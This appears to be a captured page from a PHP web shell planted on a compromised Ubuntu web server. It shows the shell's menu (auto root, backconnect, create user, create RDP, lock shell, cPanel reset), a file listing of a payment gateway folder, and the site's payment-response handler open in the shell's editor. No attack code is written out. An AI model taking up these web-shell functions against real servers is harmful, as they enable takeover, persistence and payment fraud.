Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
fees /
irdpg /
[ HOME SHELL ]
Name
Size
Permission
Action
old
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
PaymentHandler.php
20.11
KB
-rw-r--r--
README.md
1.86
KB
-rw-r--r--
handlePaymentResponse.php
4.04
KB
-rw-r--r--
index.php
126
B
-rw-r--r--
initiatePayment.php
1.19
KB
-rw-r--r--
initiatePaymentDataForm.php
1.88
KB
-rw-r--r--
initiateRefund.php
1.66
KB
-rw-r--r--
initiateRefundDataForm.php
1.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : handlePaymentResponse.php
<?php use PaymentHandler\APIException; require_once realpath("./PaymentHandler.php"); use PaymentHandler\PaymentHandler; // block:start:order-status-function function getOrder($params) { $paymentHandler = new PaymentHandler("resources/config.json"); if ($paymentHandler->validateHMAC_SHA256($params) === false) { throw new APIException(-1, false, "Signature verification failed", "Signature verification failed"); } else { $order = $paymentHandler->orderStatus($params["order_id"]); return $order; } } // block:end:order-status-function function getStatusMessage($order) { $message = "Your order with order_id " . $order["order_id"] . " and amount " . $order["amount"] . " has the following status: "; $status = $order["status"]; switch ($status) { case "CHARGED": $message = $message . "order payment done successfully"; break; case "PENDING": case "PENDING_VBV": $message = $message ."order payment pending"; break; case "AUTHORIZATION_FAILED": $message = $message ."order payment authorization failed"; break; case "AUTHENTICATION_FAILED": $message = $message . "order payment authentication failed"; break; default: $message = $message ."order status " . $status; break; } return $message; } // POST ROUTE // block:start:construct-params if (isset($_POST["order_id"])) { try { $inputParams = $_POST; $orderId = $_POST["order_id"]; $status = $_POST["status"]; $signature = $_POST["signature"]; $statusId = $_POST["status_id"]; $params = ["order_id" => $orderId, "status" => $status, "signature" => $signature, "status_id" => $statusId]; // block:end:construct-params $order = getOrder($params); $message = getStatusMessage($order); } catch (APIException $e ) { http_response_code(500); $error = json_encode(["message" => $e->getErrorMessage(), "error_code" => $e->getErrorCode(), "http_response_code" => $e->getHttpResponseCode()]); echo "<p> Payment server threw a non-2xx error. Error message: {$error} </p>"; exit; } catch (Exception $e) { http_response_code(500); echo "<p> Unexpected error occurred, Error message: {$e->getMessage()} </p>"; exit; } } else if (isset($_GET["order_id"])) { // GET ROUTE $inputParams = $_GET; $orderId = $_GET["order_id"]; $status = $_GET["status"]; $signature = $_GET["signature"]; $statusId = $_GET["status_id"]; $params = ["order_id" => $orderId, "status" => $status, "signature" => $signature, "status_id" => $statusId]; $order = getOrder($params); $message = getStatusMessage($order); } else { http_response_code(400); echo "<p>Required Parameter Order Id is missing</p>"; exit; } ?> <html> <head> <title>Merchant payment status page</title> </head> <body> <h1><?php echo $message ?></h1> <center> <font size="4" color="blue"><b>Return url request body params</b></font> <table border="1"> <?php foreach ($inputParams as $key => $value) { echo "<tr><td>{$key}</td>"; $pvalue = ""; if ($value !== null) { $pvalue = json_encode($value); } echo "<td>{$pvalue}</td></tr>"; } ?> </table> </center> <center> <font size="4" color="blue"><b>Response received from order status payment server call</b></font> <table border="1"> <?php foreach ($order as $key => $value) { echo "<tr><td>{$key}</td>"; $pvalue = ""; if ($value !== null) { $pvalue = json_encode($value); } echo "<td>{$pvalue}</td></tr>"; } ?> </table> </center> </body> </html>
Close